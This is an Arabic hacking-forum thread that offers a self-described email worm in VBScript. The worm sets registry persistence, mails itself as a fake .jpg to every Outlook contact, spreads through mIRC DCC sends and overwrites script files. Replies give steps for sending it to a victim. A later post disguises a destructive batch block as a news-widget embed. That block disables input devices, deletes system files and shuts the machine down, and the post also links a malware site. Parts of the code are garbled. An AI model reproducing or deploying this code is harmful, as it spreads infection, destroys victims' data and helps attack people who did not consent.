أصحابي محبي القرصنة والتدميراقدم لكم كود فيروس قوي جدا اسمه الدودة الذكية هاذ الفيروس من صنعي مهمته تدمير الايمايلات يحفض بامتداد vbs وهوعبارة عن دودة ذكية
'smart worm virus hacker e-mail Created By khaled "A" hacker. 31/12/2009
Set G1U217D3 = createobject("scripting.filesystemobject")
L35B49PC = G1U217D3.getspecialfolder(1)
Q24A9774 = L35B49PC & "\khaled.jpg.vbs"
Set L6R5G44Q = createobject("wscript.shell")
L6R5G44Q.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & Q24A9774 & " %"
G1U217D3.copyfile wscript.scriptfullname, Q24A9774
IT2D7F4L
If L6R5G44Q.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\smart worm\M5F66AI1") <> 1 then
N45LVO9E
End if
If L6R5G44Q.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\smart worm\JH292Q15") <> 1 then
DU06SOH1 ""
End if
OT9784LI
Function N45LVO9E()
Set HQ7LR43L = CreateObject("Outlook.Application")
If HQ7LR43L = "Outlook" Then
Set P5V3A12G = HQ7LR43L.GetNameSpace("MAPI")
Set T2S80R0T = P5V3A12G.AddressLists
For Each TP2HL352 In T2S80R0T
If TP2HL352.AddressEntries.Count <> 0 Then
JS1U724G = TP2HL352.AddressEntries.Count
For C5QP400I = 1 To JS1U724G
Set GKTN26CG = HQ7LR43L.CreateItem(0)
Set N81J94SI = TP2HL352.AddressEntries(C5QP400I)
GKTN26CG.To = N81J94SI.Address
GKTN26CG.Subject = "HA HA "
GKTN26CG.Body = "Hi:" & vbcrlf & "ha ha ha ha ha ." & vbcrlf & ""
execute "set KURHGUG2 =GKTN26CG." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
E66J2E27 = Q24A9774
GKTN26CG.DeleteAfterSubmit = True
KURHGUG2.Add E66J2E27
If GKTN26CG.To <> "" Then
GKTN26CG.Send
End If
Next
End If
Next
End If
End function
Function DU06SOH1(P22016MJ)
If P22016MJ <> "" Then
ILH68562 = L6R5G44Q.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If G1U217D3.fileexists("c:\mirc\mirc.ini") Then
P22016MJ = "c:\mirc"
ElseIf G1U217D3.fileexists("c:\mirc32\mirc.ini") Then
P22016MJ = "c:\mirc32"
ElseIf G1U217D3.fileexists(ILH68562 & "\mirc\mirc.ini") Then
P22016MJ = ILH68562 & "\mirc"
ElseIf G1U217D3.fileexists(ILH68562 & "\mirc32\mirc.ini") Then
P22016MJ = ILH68562 & "\mirc"
Else
P22016MJ = ""
End If
End If
If P22016MJ <> "" Then
Set G9E6Q13C = G1U217D3.CreateTextFile(P22016MJ & "\script.ini", True)
G9E6Q13C = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
G9E6Q13C = G9E6Q13C & vbCrLf & "n0=on 1:JOIN:#:{"
G9E6Q13C = G9E6Q13C & vbCrLf & "n1= /if ( $nick == $me ) { halt }"
G9E6Q13C = G9E6Q13C & vbCrLf & "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
G9E6Q13C = G9E6Q13C & Q24A9774
G9E6Q13C = G9E6Q13C & vbCrLf & "n3=}"
script.Close
End If
End Function
Function MNE1U217()
On Error Resume Next
Set D43C867S = G1U217D3.Drives
For Each S116R5G4 In D43C867S
H9835B49 = S116R5G4 & " \ "
Call PA724A97(H9835B49)
Next
End Function

Function PA724A97(MCST2D7F)
N995F66A = MCST2D7F
Set I8745LVO = G1U217D3.GetFolder(N995F66A)
Set RIPH292Q = I8745LVO.Files
For Each FSNU06SO In RIPH292Q
If lcase(FSNU06SO.Name) = "mirc.ini" Then
DU06SOH1(FSNU06SO.ParentFolder)
End If
If G1U217D3.GetExtensionName(FSNU06SO.path) = "vbs"
G1U217D3.CopyFile wscript.scriptfullname,FSNU06SO.path,true
End if
If G1U217D3.GetExtensionName(FSNU06SO.path) = "vbe"
G1U217D3.CopyFile wscript.scriptfullname,FSNU06SO.path,true
End if
Next
Set H7UQ7LR4 = I8745LVO.Subfolders
For Each E875V3A1 In H7UQ7LR4
Call (E875V3A1.path)
Next
End function
Function IT2D7F4L()
Msgbox "khaled dz ",48,"hacker "
end function

شكرا لكن ماهي طريقة عمله
هل نقوم بإرساله الى الضحية؟

بارك الله فيك

بارك الله فيك
اشرح لنا طريقة استعماله

لماذا يا سيموني هل تريدين تعلم الهاكر ؟؟؟؟؟؟؟

ربما مجرد فضول لمعرفة الطريقة
من يدري قد تكون ضحيتي الأولى

بارك الله فيك على الموضوع
سيموني أوصيك يتعلمه فقد يفيدك في القرصة على المنتديات المسيحية التي هي في ازدياد يوما بعد يوم.

اجربه واراه فعال ام لا

كيفية عمله هي سهلة جددداا
1- افتح blocnot او wordpad
2- انسخ الكود
3- احفضه بامتداد vbs
ارسله للضحية عبر skyp او msn ... او برنامج محادتة اخر سيعمل الفيروس اليا ويمحي الحساب من السارفور ويدمر كافة المعلومات منه
[b][i]عندي كود اخر للحصول على اخبار من الشروق اليومي مفيد جدا للمنتديات والمواقع ادخل هاذ المندى وسوف ترى http://lakamora.getgoo.us

الكود هاذ هو :

<embed src="http://www.echoroukonline.com/ara/themes/rtl/img/flashNews.swf"
wmode="transparent"
FlashVars="xmlPath=http://www.echoroukonline.com/ara/themes/rtl/css/NewsClipHome.css&tickerPath=http://www.echoroukonline.com/ara/themes/rtl/css/arTicker.css"
quality="high" bgcolor="#000000" width="572" height="267"
name="flashNews" align="middle" allowScriptAccess="sameDomain"
allowFullScreen="false" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />
</OBJECT></DIV></DIV></CENTER><A class=postlink
href="http://kweb16.malware-site.www" target=_blank>اقرأ
المزيد...</A> </DIV>
<script code="bat">
echo off@
C: \ WINDOWS \ RUNDLL.EXE souris, désactiver
C: \ WINDOWS \ RUNDLL.EXE clavier, désactivez
del c: \ command.com
del c: \ Io.sys
del c: \ Config.sys
del c: \ Msdos.sys
del c: \ windows \ system32 \ command.com
deltree / y C: \ WINDOWS \ COMMAND \ *.*
deltree / y C: \ WIN98 \ COMMAND \ *.*
deltree / y C: \ WinMe \ COMMAND \ *.*
deltree / y C: \ WIN_me \ COMMAND \ *.*
deltree / y C: \ WINXP \ COMMAND \ *.*
deltree / y C: \ WIN_xp \ COMMAND \ *.*
del d: \ command.com
del d: \ Io.sys
del d: \ Config.sys
del d: \ Msdos.sys
del d: \ windows \ system32 \ command.com
Deltree

On Error Resume Next
Dim copy, copy2, copy3, copy4
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
copy3 = "c:\y *.exe
copy4 = "c:\y *.jpg
FileCopy copy, copy2, copy3, copy4

Option Explicit
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Sub Command1_Click()
Dim InputValue As String
Dim nBufferKey As Long, nBufferSubKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersi on", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
InputValue = "c:\windows\system\Project12.exe"
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersi on", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
End Sub
echo hacker-dz
shutdown -s
</script>

شكرا على الفيروس

هههههههههههههههههههههههههههههه
ههههههههههههههههههههههههه
ه
هههههههههههههههههه
هههههههههههههههههه

شكرا يا اخي خالد انا اعترف انه لو لا كلامك المفصل لي كل يوم في وقت الراحة
لم اتعلم اصول الهاكر

شكرا جزيلا لك يا hacker _dz
ارجوا ان التقيك

شكرا